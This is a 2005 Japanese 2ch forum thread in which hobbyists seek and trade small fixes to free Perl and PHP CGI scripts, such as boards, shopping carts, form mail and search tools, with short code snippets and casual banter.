nobodyさん:2005/05/21(土) 13:30:56 ID:Qzr9ON+U
質問です。web patioのアクセス制限機能を拡張して自動登録機能をつけたいのです。
仮登録をおこなわせて、メールに送られた承認用URLをクリックすると本登録ができるようになるという一般的な承認方法にしたいのですが
そんなもの作ったことがないのでわかりません。仮登録から本登録への処理が入ってるCGIはありませんでしょうか?
処理をぱくる・・・というか参考にしたいのです。ホントはKENTさんのMagMag Board v2の処理をまるまる参考にしようと思ったのですが
書庫付録のようで、買おうと思っても在庫があるところが見つからない上に時間がないのでこちらに書かせてもらいました。
よろしくお願いします。
三国志NETにその機能あったな。
697 :
nobodyさん:2005/05/30(月) 20:27:12 ID:AlkdVV9S
うむ
698 :
nobodyさん:2005/05/31(火) 02:20:00 ID:VGaCh60h
こんなCGI探してますスレから来ました。
----
【種別】一言掲示板 ゲストブック
【条件】
ttp://hp.bird.to/cgi-bin/guestbook.cgi こういう一行タイプで、住所、HP、メールが表示できて、
ソースを見ると、管理人以外にも書き込み者のIPが見られるもの。
【言語】perl , php
【備考】サイトの信頼性を高めたいので、足跡を残してくれる人のIPが見れた方がいいかなと思いました。
----
>IPアドレスを保存すればいんだよ。
>そんでもって読み込む時にソースに加えりゃいいんだよ。
と言われたのですが、何のことかよくわかりませんでした。
メモ帳でcgi開いてコピペするくらいならできるかもしれません。
アドバイスをお願いします。m(_ _)m
ここはスキル0の来るスレではありません
丸投げスレに行ってください
700 :
nobodyさん:2005/06/05(日) 21:27:05 ID:4YiV/lXp
画像掲示板- Joyful Note - php resize -を使ってます。
↓のgdバージョンです。
ttp://script.s16.xrea.com/index2.php 投稿の際の必須項目を変更したいのです。
とりあえず、自力で名前とコメントの必須をなくすことはできました。
添付ファイルを必須にしたいのですが、どこにどのような記述が必要でしょうか?
(つまり添付ファイルがないと、エラー報告がでるようにする)
よろしくお願いいたします<(_ _)>
>>700 それが出来たなら
消した部分の下あたりに
if ($upfile == "") { error("添付ファイルが有りません"); }
でいいと思う
まぁ実験してないから何とも言えんが(´・ω・`)
702 :
700:2005/06/06(月) 00:15:13 ID:???
>>701 できました〜!!!
マジ完璧っす。ありがとうございます<(_ _)>
今までCGI・PHPはHTML表示部分はそれなりにイジってたのですが、
スクリプト部分はサパーリでした。
もっともっと自分好みなのが作れそうな感じがしてきますた。
PHPはそんなに難しくないような気もしますので、ちょっくら勉強いたします。
703 :
700:2005/06/06(月) 02:47:26 ID:NHKXaD0z
そんなに難しくないような気がしますと言ったはいいが、
やはり難しい・・・orz
も一つやりたいことがあるので、再度ご教授お願いしまする<(_ _)>
先ほどと同じ画像掲示板なのですが、画像ファイル名が、
1、2、3・・・10・・・といった連番なのですが、これを桁数を揃えて、
000123.jpgのようにしたいのです。
>>172さんが行なったようなやつです。
(試行錯誤しても分からなかったorz・・・1からちゃんと学ばないとダメですよね)
よろしくおねがいいたします。
704 :
700:2005/06/07(火) 09:10:10 ID:1/UWqdkb
またちょいと問題が・・・
>>701さんに教えて頂いた方法で、添付ファイルを必須にはできたのですが、
返信時まで必須になってしまいました。
返信時には必須にしたくないので、
>>703の桁数の件も含めて
またご教授頂ければと思います。
(丸投げいったほうがいいのかなぁ・・・)
NICOLE氏のWWW Forum 3.7c に age sage 機能を追加したくて
色々参考になりそうなものを探しています。
で、前スレを 2ch ブラウザで辿ろうと思ったらなんか見つからない……
どなたか過去のスレッドの URL を保存されてる方いませんか?
707 :
nobodyさん:2005/06/14(火) 15:15:26 ID:RSJ0zxh1
2chの指定したスレに定期的に自動に書き込みしてくれるスクリプトって作れますか?
>>707 cronで書き込みスクリプトを動かせばできる
709 :
705:2005/06/16(木) 02:19:01 ID:???
>706
いや >1 に書いてある URL が間違ってるのか
過去ログたどれないんですよ
なのでさらに昔の URL 知ってる人いないかなと
>>700 桁数を6桁にして、足りない分は0で補う場合
$ファイル名 = str_pad($ファイル名, 0, 6, STR_PAD_LEFT);
丸投げスレより舞い戻って?着ました
内容は以下の通り
【. CGI名 .】 Web Cart System PRO ver.5
【 依頼期限 】 毎日見てます
【配布先URL】
http://webcartsystem.com/html/download.html 【ヘルプ内容】 登録した商品が真っ先に上に来るように設置したい(新着商品を上に出したいだけです)のですが
商品登録Noを変えても動かず、結局、CGIが吐き出すdb.txtを
全部入れ替えてやっと反映される状態です
CGIのTXTは全部ココに収納されています
ttp://ww4.enjoy.ne.jp/~yuhron/cgi/ で、write.txtに格納されている
open WRITE,"<db/$open_file" || die "Could not open the file";
@templine = <WRITE>;
foreach (@templine) {
if (/(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*)/) {
$page_num = $1;
}
}
close WRITE;
以上の項目ですが、ここにdb.txtへ吐き出す構文が居るのですが
コイツをソートする構文を入れてみたのですが(write.txt(149): @templine = sort @templine;)
上手く作動せず、途中で+1と記述されている部分を-1にしても吐き出しされません
ここまでは解ったのですが…的外れかも、しれません。
アドバイスをお願いします
>if (/(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*)/) {
キモス
この構文が、商品名、品番、種類、値段、等々に分けてあるんです
db.txtにはそういう風な記述で分類されています
多分、ここはいじらなくてもいいと思います
ただ、確かにキモチ悪いのですが……
文句だけ言う奴は大抵技術も無いので(゚ε゚)キニシナイ!!
>715さん
そうだったんですか…
ぱっと見、確かに気持ち悪いと思ってたのですが、私も(^^;
ちなみにその構文は実際にカート搭載されると
4:=:D2:=:詳解HTML&JavaScript辞典:=:2400:=:秀和システム:=:8.jpg:=::=::=:30:=:HTML3.2とNetscapeNavigator4.0、lnternetExplorer4.0の最新・拡張タグ、オプションを解説。詳細な解説と豊富なイメージ:=:D1:=:
となります(公式サイト情報抜粋より)
分類:=:商品No:=:以下解説・価格等々です
この商品NoをエクセルでソートしてからUPすると逆になります
Noを少なくして(たとえば5000代だったら4999)UPしても反映されません
私も現在試行錯誤しているのですが、500エラーばかり喰らってます
他に見られている方も今後ともよろしくお願い致しますm(_ _)m
修正前
if (/(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*):=:(.*)/) {
修正後
if (/モル━━━━(゚∀( * )━━━━!!!モル━━━━(゚∀( * )━━━━!!!/) {
正規表現つかわんでもええやん
719 :
807@丸投げスレ:2005/07/19(火) 00:32:55 ID:VFC/oNKm
一度はあきらめて丸投げスレに依頼出したが、回答を待ちつつ自分でも改造?しています。
しかし、サッパリわかりません(;;)
スクリプトはPrism-WebのDesignBBS1.71(tp://www.pris.jp/moon-web/)
この掲示板は、投稿者による記事削除がパスワード認証で可能。
これを以下のように変更したい。
1.投稿者による削除ではなく、投稿者による編集に変更したい。
2.掲示板末尾で記事No&パスワード記入を行う形(YYボードと同じ)から、
記事横のリンクから編集を行えるようにしたい。
2.に関しては、フォームボタンを使えば簡単だろうが、
デザインの関係があるのでリンクでやりたい。
そこで掲示板表示テンプレに、フォームなら
〜<input type=hidden name=mode value="userdel">〜とするところを、
<a href="bbs.cgi?mode=userdel&$no">〜と書いた。
しかしこのリンクをクリックしても、サブルーチンuserdelへ飛ばない。
アドレスバーに表示されるURLが「〜bbs.cgi?mode=userdel&記事no」になるだけ。
どうしたら飛ぶようになるだろうか。
#userdelはユーザーによる削除のサブルーチンを指す。
#これを投稿者編集に変えてやるつもりだから。
#$noは記事noが入る。
userdelサブルーチンは次へ。
#選んだ記事を一旦削除して編集投稿フォーム表示、※
#投稿するときにパスワードがあえばログをそのデータで書き換えて終了。
#パスワードが合わなければ、一旦削除した記事をログに追加して終了。
#・・・という処理を考えた。この処理が問題であれば突っ込んでください。
#苦し紛れに考えた処理なのでサーバー負荷とかわかりません。
#なお、今作っているルーチンは※だけ、しかも途中。
#========================
# 記事削除
#========================
sub userdel {
# ロック処理
if ($lockkey == 1) { &lock1; }
elsif ($lockkey == 2) { &lock2; }
open(IN,"$logfile") || &error("$logfileが開けません。");
@lines = <IN>;
close(IN);
$top = shift(@lines);
<つづく>
############################
ここから
###########################
$flag=0;
foreach (@lines) {
($no,$reno,$date,$name,$mail,$subject,$icon,$icon2,$message,$color,$url,$host,$pw) = split(/<>/, $_);
if ($flag == 0 && $eno eq "$no") {
$PW = $pw;
if ($reno eq "") { $flag=2; }
else { $flag=1; }
}
elsif ($flag == 2 && $FORM{'no'} eq "$reno") { next; }
else { push(@new,$_); }
}
if ($FORM{'pwd'} eq '') { &error("パスワードが入力されていません。","lock");}
if ($flag == 0) { &error("該当記事が見当たりません。","lock"); }
if ($PW eq '') { &error("パスワードが設定されていません。","lock"); }
#####################
ここまで、どうすればよいかわからないのでデフォルトのまま。
#####################
<つづく>
# 更新
unshift(@new,$top);
open(OUT,">$logfile") || &error("$logfileが開けません。","lock");
print OUT @new;
close(OUT);
# ロック解除
if (-e $lockfile) { unlink($lockfile); }
#投稿フォーム表示
&header;
$get = $_[0];
# クッキー情報を取得
&get_cookie;
# 書きこみ部デザインシートを読みこむ
&read_file("$input_sheet2");
&read_file("$foot_sheet");
print "</body></html>\n";
exit;
}
以上
723 :
711:2005/07/19(火) 01:20:43 ID:???
どうやら、色々調べたのですが。write.cgiから直接DBに対して
ソートを仕掛けるのが無理そうなので
write.cgiに
open DATA,"<db/$open_file" || die "Could not open the file";
@templine = <DATA>;
@templine = sort @templine;
close DATA;
$line=@templine;
という構文を入れたら、whiteは理想通り更新順に並び替えできましたが
問題のディスプレイ部分に反映されません…
以下、本体のCGIより抜粋
if ($disp eq "on") {
&top("$page_title");
open DB, "<db/db$page_id.txt" || die "Could not open the file";
{
($page,$goods_id,$name,$price,$com,$picture,$picture2,$picture3,$limit,$comment) = split (/:=:/, $_);
多分、ここも
@templine = <DB>;
foreach (@templine)
あたりに、同じ構文を入れたら…80エラーが出ます
何か、解決策はありませんでしょうか…writeは完了しました
お騒がせしてすみませんでした。
「改造工房スレ住人の皆様へお願いします」
スクリプトを改造してください。とお願いしません。
その代わり、電子私書箱の仕組み、チョッとだけ
教えてください。
特に、自分宛のメッセから、相手の私書箱へ送信する
仕組みがわかりません。
「お相手に送信」ボタンを押すと、相手の私書箱に
受信先の名前とか、メッセがわかる。
?ID=12345;PW=POIUEWS のような感じでURI?が作成
されて、「お相手に送信」ボタンに埋め込んである。
この?以降の設定とか、ググってもわかりません。
スーパーエロい人、教えてください。
よろしくお願いします。
>>726 意味がわからん上にスレ違いもいいとこなんだが。
> ?ID=12345;PW=POIUEWS
これはないだろう。
?ID=12345&PW=POIUEWS
ならわかるが。
変数をGETで受け取ってるだけだ。
それにしても、パスワードをGETで受け取るのはどうかと思うが。
728 :
711:2005/07/27(水) 14:25:21 ID:???
【配布先URL】
http://webcartsystem.com/html/download.html (再配布・代行設置・有料のカスタマイズ・コピーライト非表示・レンタル目的等々何でも可。
CGIのTXTは全部ココに収納されています
ttp://ww4.enjoy.ne.jp/~yuhron/cgi/ 以前ののヘルプ内容は自己解決しました。
……で、まだ今回。同じCGIで依頼があるのですが。cart_pro.cgiのカートの内容を表示する部分
#
# 商品ディスプレイ
#
sub disptop {
以下、稼動する部分を表示させるフォームボタンをCGIの中に「カートの中身」と作りたいのですが、上手く稼動しません。
このCGI自体に致命的な欠陥があり、サンプルでは動くSET.htmlが実稼動させると商品数の為か稼動しないのです
なので、今はダミーファイルを作って、そちらでカテゴリが動くようにしているのですが…
ダミーファイルにそのサンプルで品物を入れたら出てくるHTMLタグは
<FORM METHOD=POST ACTION="cart_pro.cgi">
<INPUT TYPE="SUBMIT"NAME="cart"VALUE="お支払い">
<INPUT TYPE="SUBMIT"NAME="cart"VALUE="内容確認">
<INPUT TYPE="SUBMIT"NAME="cart"VALUE="カートを空にする">
<INPUT TYPE="hidden"NAME="id" VALUE="利用者のIPアドレス">
<INPUT TYPE="hidden"NAME="page_id" VALUE="1">
</FORM>
ですが、これをダミーファイルに入れてもやはり稼動しません。IPアドレスの取得とその反映がダミーHTMLにはされないので…
なので、なんとかして、CGIの商品表示の中に内容確認ボタンを作りたいのですが
解る方ご教授お願いします
最近CGIやってないから忘れたけど、
「;」でも確かいけたような記憶が・・・
>>731 該当する
print <<EOF;
〜省略〜
EOF
を移動させるだけじゃない?
>732
そうしたのにできなかった……
と思ったらprintのとこだけ移してなかったorz
ありがとう。
734 :
nobodyさん:2005/08/26(金) 09:43:20 ID:3vgShx+F
【. CGI名 .】フォームメール
【配布先URL】
ttp://www.kent-web.com/data/postmail.html 【ヘルプ内容】
入力チェック時、例えば「あほ」と入っていると送信できないようにしたいのですが、うまくいきません。
「あほ」のみ送信できず、「あほやろう」なら送信可能という風にしたいのですが…
231行目あたりに
if ($in{'ngword'} = "あほ") {
&error("これは送信できません");
}
としたり、=の代わりにeq、正規表現なども試しましたが思うように動きません。
(「あほやろう」でも送信できないエラーになったりする)
indexなどを使わなければいけないのでしょうか?
また、コマンドタグで制御しているためか、
送信確認画面で送信したいメッセージの他にも、上のngwordというのが一緒に表示されてしまいます。
496行目からの入力チェックをいじればいいような気がしますが、
ngwordだけ表示させない方法がわかりませんでした。
よろしくお願いします。
>>734 前後の処理がわからないのでなんともだけど、文字の比較ならeq
$in{'ngword'} eq 'あほ';
$in{'ngword'}に改行とか余計な文字が入ってないか確認してみて。
737 :
736:2005/08/31(水) 09:56:57 ID:???
そもそもクッキー関係ないのでしょうか。。
クッキー切って試そうとしないのか・・
739 :
736:2005/08/31(水) 11:39:00 ID:kRQLgiYG
あ・・いやそういう意味ではなく」て・・・クッキーだけの問題なのでしょうか?
クッキーを切って書き込めるかどうかをまず検証汁
741 :
736:2005/08/31(水) 14:55:39 ID:kRQLgiYG
クッキーを切ると書き込めません。
クッキーを切らなければ書き込めます
で、携帯はクッキー対応してないみたいなので書き込めません。
クッキーの項目はソースの最後の方にあります。
742 :
nobodyさん:2005/08/31(水) 20:48:51 ID:yjcCkZ/K
743 :
nobodyさん:2005/09/09(金) 10:38:07 ID:1AT345a5
744 :
743:2005/09/09(金) 10:42:35 ID:???
>>743 include.phpの2ヶ所を書き換えればいけそう。
html_header2()とhtml_footer()の2つの関数で本体をサンドイッチしてるみたいだから
その2つに書かれてるHTMLを見て適切に挿入すべし。
746 :
743:2005/09/09(金) 12:32:01 ID:???
>>745 function html_header2(){
echo "</head>"."\n";
echo "<body>"."\n";
echo "<table>"."\n";
echo "<tr>"."\n";
echo "<td width="200">"."\n";
echo "<?php include_once(\"2.txt\"); ?>"."\n";
echo "</td>"."\n";
echo "<td>"."\n";
}
こんな感じで書いてみたけど500でましたorz
PHPは初挑戦だからイマイチです・・・
>>746 function html_header2(){
echo "</head>"."\n";
echo "<body>"."\n";
echo "<table>"."\n";
echo "<tr>"."\n";
echo "<td width=\"200\">"."\n";
readfile("2.txt");
echo "</td>"."\n";
echo "<td>"."\n";
}
これでどかね。
>>747 変数展開しない部分はシングルクォーとの萌芽。
749 :
nobodyさん:2005/09/13(火) 12:48:59 ID:Jd1taUMo
【. CGI名 .】 p++BBS
【配布先URL】
http://php.s3.to/bbs/bbs2.php 【 依頼期限 】 今週中
【. 依頼内容 】 書き込んだ内容に関して、訂正・変更を出来るようにしたい。
パスワードは書き込む際に入力したもの。入力されていない場合は管理者にのみ
変更可能。
書き方としては問題ないでしょうか?宜しくお願いいたします。
>>750 はい、有難うございます。そちらにいってみます。
レス遅くてすみません。
【. CGI名 .】 yomi-search
【 .言語 】 Perl
【配布先URL】
http://yomi.pekori.to/ 【 依頼期限 .】 〜06年
【. 依頼内容 】 検索CGI部分のみを取り出して改造してます。
改造したい部分は、外部検索エンジンで検索できるように、
yomi-searchを使っている検索エンジンで検索できるようにしたいんです。
検索処理ファイルmeta_ys.cgiの
%keyword = (
'yahoo', "p=$K_plus",
や
%option = (
'yahoo', "n=$FORM{'hyouji'}&w=$Myahoo",
を弄っているのですが、うまくいきません。
どこを弄れば、うまくいくのでしょうか。
教えて頂けると幸いです。
753 :
nobodyさん:2005/09/20(火) 16:32:59 ID:coVOFe8l
>>752 >>yomi-searchを使っている検索エンジンで検索できるようにしたいんです。
検索エンジンって他のサイトのサーチエンジン指してるのか?
ざっと眺めた感じだと
@engine
'yomi'
%engine
'yomi','他人のyomiのアドレス',
%engine_top
'yomi','他人のホームページアドレス',
%engine_name
'yomi','yomi',
%keyword
'yomi',"search=$K_plus",
%option
'yomi','',
かな?
755 :
nobodyさん:2005/09/20(火) 18:49:10 ID:9NSnOV9d
Operaだけど配布先のものは正しく動く。
ブラウザの設定とか、別のブラウザでも全てダメなのか、そこらへん確認してみては。
757 :
755:2005/09/20(火) 19:16:10 ID:9NSnOV9d
>>756 配布先のものは正しく動きます。自分のサーバーに試してみたものが動かないんです。
>>755 分かる方、お願いします。
>>758 鯖やCGIの設定で外部から呼び出せない設定になっていたなら、何やっても無理だと思うけど。
>>759 yomi-searchにそんな設定は無いはず。
サーバーの方も外部呼出し禁止じゃないとおも。
だからといって俺はアドバイスやるほどスキルねぇー。
>>753>>754>>759>>760 アドバイスありがとうございました。
アドバイスを元に弄って弄って弄ってみました。
%keyword = (
'yomi', "engine=pre&method=and&open_type=0",
%option = (
'yomi', "mode=search&page=1&sort=mark&word=$K_plus",
これが正しいかは私には分からなかったのですが、検索は成功しました。
762 :
nobodyさん:2005/09/21(水) 12:44:40 ID:uZHDREIO
>>761 もろ間違ってる
いつかお前のサーバー壊れる
サーチエンジン側のサーバーも壊れる
ルーチン回りまくってとんでもないことになる
>>764 改良も何も、
>>762が糞レスなだけだが。
ローカルでテストして、タスクなどでperlexeが暴走してなければ問題ない。
気になるならベンチでもとってみてもいいし、$count++;を適当において、最後に数値を表示、とんでもない数になっていなければ問題ない。
>>765 ご指摘ありがとうございます。
アパッチでサーバーを開いてたので、
それを利用してテストした結果が
>>761でした。
>>765さんの指摘を参考に改めてテストし、
数値を確認したら異常は得に無さそうでした。
何度もありがとうございました。
769 :
767:2005/09/26(月) 02:38:38 ID:???
>>769 } elsif ($user_agent[0] eq 'DoCoMo') { $useragent = 2; # 252行目付近:
↑ここは残したままなのに
} elsif ($useragent == 2) { # 1514行目、他
↑こっちを消したせいかな。
どの携帯で見てどう変になったのか分からないからあんまり自信ない。
UAを携帯のものに偽装できるブラウザでアクセスしてソース見るといいことありそう。
改造元からのことなんで関係ないけど、タグが大文字小文字ばらばらだったり、未対応UA用htmlにBODYタグが無かったり(;´Д`)
771 :
769:2005/09/27(火) 14:54:43 ID:???
返事アリガトウ。
252行目付近を
@user_agent = split(/\//,$ENV{'HTTP_USER_AGENT'});
if ($user_agent[0] eq 'ASTEL') {
# ドットi 用の処理
&mitaiou;
} elsif ($user_agent[0] eq 'UP.Browser') {
# EZweb 旧端末用の処理
&mitaiou;
} elsif ($user_agent[0] =~ /^KDDI/) {
# EZweb WAP2.0 対応端末用の処理
$useragent = 1;
&keitai;
} elsif ($user_agent[0] eq 'PDXGW') {
# H" 用の処理
&mitaiou;
} elsif ($user_agent[0] eq 'L-mode') {
# L-mode 用の処理
&mitaiou;
} else {
&html;
}
にしたんですが、直りませんでした。
au専用にしたいんですよ、どうしたらいいでしょう?
他に何か駄目な点など気づいたら指摘してください。
携帯気分ではcgiを見れなかったのでソースが見れませんでした。
772 :
769:2005/09/27(火) 16:10:47 ID:???
ちなみに、auのW31SAで見たらなりました。
他のブラウザで試せよ。
774 :
769:2005/09/27(火) 22:25:26 ID:???0
携帯エミュレーターでソースを見たんですが、サッパリでした。
どこをどう弄ったらいいのか全然分からないので
丸投げの方に依頼したほうが良いでしょうか?
何をどう変えたくて、どこをいじったか書かないと。
776 :
769:2005/09/28(水) 00:50:57 ID:???
もうわけわっかんないので、丸投げに依頼しました。
返事くださった方ありがとうございました。
779 :
769:2005/09/30(金) 23:21:47 ID:???
自分でまた改造をしていたんですが、また躓いたので助けていただけませんか?
ずうずうしいかもしれませんが、よろしくお願いします。
【CGI名】 CMCBoard
【言語】 Perl
【配布先URL】
http://cgi-lounge.eek.jp/cmcboard.php 【弄ったスクリプト】
http://zyougi.hp.infoseek.co.jp/board.txt 【依頼内容】
携帯で一覧表示で次へを押したら次の10件が表示されず、トップに戻ってしまいます。
SDKでソース見たんですけど分かりませんでした。
DoCoMoはiモードHTMLシミュレータで確認したので正しく表示されているか微妙です。
DoCoMoだとワード検索が変な感じで
検索するとファイルが表示されるのに、一覧表示ではファイルが1つも表示されず次の10件が表示され次の10件を押すとトップに戻ってしまいます。
次の10件を押したらちゃんと次に飛ぶようにしたいです。
DoCoMoの方でもauと同じように表示させたいです。
設置している鯖は114090です。
確認に使用した端末はW31SAとSDK6.2KとiモードHTMLシミュレータです。
他に何か気づいた点があれば指摘お願いします。
780 :
769:2005/10/07(金) 21:33:04 ID:???
やはり丸投げのほうに依頼しました。
何度もごめんなさい。
llll! g、
llll! .lllllll;;、
llll! .lllllllllllll。
llll! .lllllllllllllllllg,,
llll! .lllllllllllllllllllll]g,,
llll! .lllllllllllllllllllllllllllllg、
llll! .lllllllllllllllllllllllllllllllll[g_
llll! .lllllllll゚゚lllllllllllllllllllllllllllll;;
llll! .lllllllll .\llllllllllllllllllllll,,
llll! .lllllllll .\llllllllllllllll、
llll! .lllllllll ^)llllllllllll]l.
llll! .lllllllll 〈llllllllllll[
llll! .lllllllll ]llllllllllll
llll! ,,,,gggggggggg。._ llllllll! 〈llllllllll゜
llll! ,,gllllllllllllllllllllllllllllllllllllllllllllllllll[ llllllll]l゚
llll! _gllllllllllllllllllllllllllllllllllllllllllllllllllllllll[ ..lllllllll゚゜
llll! ,,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll[ ./]l゚゚
llll!」llllllll゚ ^^^llllllllllllllllllllllllllllllll][ f゚"゜
llll.lllllllllll,, ^llllllllllllllllllllllllllllllll゜
llll!]llllllllllllg,,,,,,__,,,,gllllllllllllllllllllllllllllllll゜
llll!.ヽllll,,llllllllllllllllllllllllllllllllllllllllllllllll"
llll! 〔llllllllllllllllllllllllllllllllllllllllllll])「゛
llll! _llllllllllllllllllll[lllllllll゚l゚l゚^^^^
sine
783 :
nobodyさん:2005/10/22(土) 21:11:45 ID:/ZEbzEfT
785 :
nobodyさん:2005/10/22(土) 21:47:48 ID:/ZEbzEfT
ゴメンねママ初めてここに書くからゴメンね
786 :
nobodyさん:2005/10/22(土) 21:49:21 ID:/ZEbzEfT
商品一個置く方法考えてたんですが
わからなくて…
お目汚し失礼いたしました
お許し下さいませ
787 :
nobodyさん:2005/10/22(土) 22:15:44 ID:/ZEbzEfT
風呂入って考え改めて
一から勉強することにしました
ただひとつお願いがあります
ここは見ておけと言うサイトとか
これは読んでおけと言う書籍がございましたら
ご教授下さい
後生ですのでお願いいたします
788 :
nobodyさん:2005/10/22(土) 22:19:08 ID:/ZEbzEfT
本も初心者スレにありましたね
本当にごめんなさい
ホントにお目汚しでした
お陰様で何とかなりそうです
ご注進有難うございました
へりくだりすぎ和んだ
343 名前:nobodyさん[sage] 投稿日:2005/10/22(土) 15:29:51 ID:???
http://saya.kiy.jp/ このサイトで配布されてたCC Naviってのを設置したいのですけど
誰かアーカイブをうpしてもらえませんか。
www.archive.org/
にもDLカウンタを使用していたようでないんです。。。
>>793 ichat.cgi 973行目の後ろの方
($y1[4]) の後ろあたりに $y1[6] を追加。
・・・てか改造って言えるほどのものじゃないなw
796 :
nobodyさん:2005/10/24(月) 22:35:54 ID:v9AJE0O8
>>796 ごめん、最終的にどの機能が欲しいのかが全然わからない。
箇条書きにしてくれる?
798 :
796:2005/10/25(火) 03:28:16 ID:???
>>797 あ、ありがとうございます、反応して貰えただけで本当に感謝です
【欲しいもの】
・ダイス機能(これはもうついている)
・プロフィール欄を名前の後に追加する
(チャット部屋に入った時に名前の傍、もしくは名前にポイントすると情報が反映されるようにしたい)
それを良くメールアドレス欄を弄って作成する方が多いようなのですが、
やってみたら英字以外はエラーになってしまったり、
CGIそのものが動かなくなってしまったりしたので
なんとか日本語で反映されるようにしたいのですが
書き方がとんとわからずで…すいませんです
800 :
798:2005/10/25(火) 14:32:32 ID:iWn7i9Is
801 :
798:2005/10/25(火) 23:14:49 ID:7fCiNnFI
なんかやっぱり専門的な事まで勉強しないと駄目みたいですね…
今まで色々なパターンのチャットCGIをDLして
メモ帳で開いて使いたい部分だけをソースコピーしてたのですが
ActivePerlをDLしてきて講座も読んだのですけれど、
とても文化祭の3日までにはPerl理解したところで応用まではできそうにもないです
今回はメールを改造したプロフィール欄を諦めます、ダイスチャットだけならこの
配布されている内容で十分なので…
せっかくアドバイスを下さった799さん、すいませんでした(大平伏)
でもこれを機会にちゃんと勉強してみようと思います
ありがとうございました
802 :
nobodyさん:2005/10/28(金) 13:44:55 ID:17r42/SQ
自分でやっていたのですが、わからないので質問させて頂きます。
http://serennz.cool.ne.jp/sblog/ にある、Serene Bach ver 2.03Rですが、これをブログとしてではなく
ホームページの総合的な管理に用いようとしています。
つまり、ブログのように見た目は見えなくても実際はブログのように管理できると
いう感じです。
いろいろ、改造して見た目がブログにならないようにできたのですが、
最終的に、ブログ特有のカテゴリの後ろにつく記事の数( )が消せないのです。
詳しくいうと、
アップデート通知 (44)
安定版 (8)
開発版 (13)
β版 (22)
Serene Bach (3)
を
アップデート通知
安定版
開発版
β版
Serene Bach
ご指導頂けると幸いです。
>>802 ヒント:lib/sb/Content.pmのsub _category_tree
>>804 なんで丸投げスレのテンプレをこっちで使うんだ?
つーか業界用語っぽい「ピーきゃの」「ダーおー」「ナーこー」でもHitするなw
176旧: if(strpos(" ".$b[1].$b[2],$s)>0){
176新: if(strstr($a,$s)){
807 :
804:2005/10/28(金) 22:48:16 ID:???
>>805 。。申し訳ありません。。。
>>806 おお、即レス感者感激です、ありがとうございました!!
大切に使わせていただきます(_ _)
(もう1つスレがあるの知りませんでした、、すみません、、)
808 :
nobodyさん:2005/10/28(金) 22:48:17 ID:WVtHyOMT
>>806 それだとカテゴリ名もひっかかってしまう希ガス
809 :
802:2005/10/29(土) 01:48:47 ID:T5CfyYm2
>803
無事にできました。
拡張子がpmというファイルで、検索にかけられず一つずつ開いて調べて挫折していた所でした。
ありがとうございました。
>809
マルチファイル検索の出来るエディタでも使えばいいのに
>>809 おめでd
ついでだから調べた手順を書いておこうか。
まず実際に実行してみて前後のHTMLでgrepをかける->テンプレートを発見./data/template/0.cgi
テンプレートのcategory_listがカテゴリに置換されているのでこれをキーワードに再度gerp
出力されたHTMLでは<ul></ul>の中に入っているので./sb/Content.pmがそれっぽい
./lib/sb/Content.pm: $cms->tag('category_list' => ($all_list) ? '<ul>' . $all_list . '</ul>' : '');
$all_listはどっからきているかというと&_category_treeの戻り値。
_category_treeを読んでみるとビンゴ、という感じ
GNU grepは入れておくと何かと便利だよ
# ちなみに余談だけどテンプレートはこんなコマンドで変換してから読みますた
# perl -pe "BEGIN{$/='\n';} s/\\n/\n/" < 0.cgi
812 :
nobodyさん:2005/10/29(土) 14:20:03 ID:T5CfyYm2
>810
例えばどんなエディタで出来ますか?
>811
詳しい説明ありがとうございました。
もっと精進せねば!
>>813 Web制作のネタだがな。
style.cssのbodyにあるtext-aline:center;と
div#documentにあるmarginの行を消す。
>813
そのサイト、移転してからレイアウトがぐだぐだになっちまったな
816 :
nobodyさん:2005/10/30(日) 22:26:01 ID:QuaB/NEc
現在、LQアクセス制限ライブラリ
ttp://www2s.biglobe.ne.jp/~cru/library/lq/ を掲示板に組み込んで使っているのですが、
HPに別の掲示板を設置したら、また別にこれを組み込まないといけないため一人の人が別人になってしまいました。
HPで使用している掲示板は共通のIDで扱うようには出来ないでしょうか?
(HP全体を一つに管理したいです。)
CGIのディレクトリに組み込むのではなく、アクセス制限専用のディレクトリを別に作ればいいのかと思ってやってみたのですが
うまくいきませんでした。どうぞよろしくお願いします。
つか、アクセス制限なら.htaccess 使えばすむことじゃん。
>>816 中身よく知らないが、ログファイルとかを共有してもダメなのか?
>>816 使い回すだけの資格(能力)が無さすぎ。国語でも勉強しとけ。
>>820 そこまで見当違いのことをゆーなよ。wwwww
822 :
816:2005/10/31(月) 23:50:19 ID:???
>>817 何のことかわからないので見てきました。
スクリプトが同じなだけで要望の内容が違うと思うのですが、
あちらのスレの方が良ければこちらでは取り下げます。
>>818 複数で管理しているためWeb画面で操作できる物を使いたいと思っています。
言葉足らずですみませんでした。
>>822 ファイル名とID全部同じにすると統一できないかな?
でもファイル名が漏れると全部根こそぎだから慎重にね。(゚∇^*)⌒☆
824 :
nobodyさん:2005/11/06(日) 21:19:35 ID:8oLoNXt4
【 CGI名 】スレッド天国
【配布先URL】
ttp://specters.net/cgipon/tengoku/download.html 【 依頼期限 】明日の朝まで
【 依頼内容 】↓
規約も読まずに好き勝手に書き込みする人がいるので
2ちゃんねるのように書き込もうとした時に規約の画面をだして読ませたいのです.
改造をしてみようとファイルを開いたまではよかったんですけど
中が凄くごちゃごちゃしていてどこいじればいいのかさえわかりませんでした。_| ̄|○ 。。
パソコンとモバイルに対応しているので余計に複雑でいじれません。(>_<)
だれかこれどこらへんいじればいいのか教えてください。。(ぺこり
明日の朝までってナメてんのか
ごめん。無理は承知でつ。(TдT)
上司命令で首がかかってるんでつ。(TдT)
いま他のところ突貫中(>_<)
教えて下さい頼んます!(−人−)
やってみるか
できなくてもうらむなよ
無理、スパゲティすぎ
むりそうでつか。。_| ̄|○ 。。
丸投げのほうへ移りまつた.(ペコリ
>>824 上司命令って何?
まさか仕事でこのスクリプトを使ってるわけ?
大丈夫?その会社。
>>832 使ってるようでつ.
詳しいことはしらんでつ. 先週から派遣バイトで入ってまつ.
で、今かなり激しいお客が絡んだトラブル発生中のようでつ.
会社は少し危ない雰囲気が漂ってるように感じてまつ.( ´Д⊂ヽ
入った初日に上司が社長からどやされてどつかれているのを目撃しまつた.((((;゚Д゚)))ガクガクガクブルブルブル
>>833 でつ まつ って今や誰も使わない死語だよ。
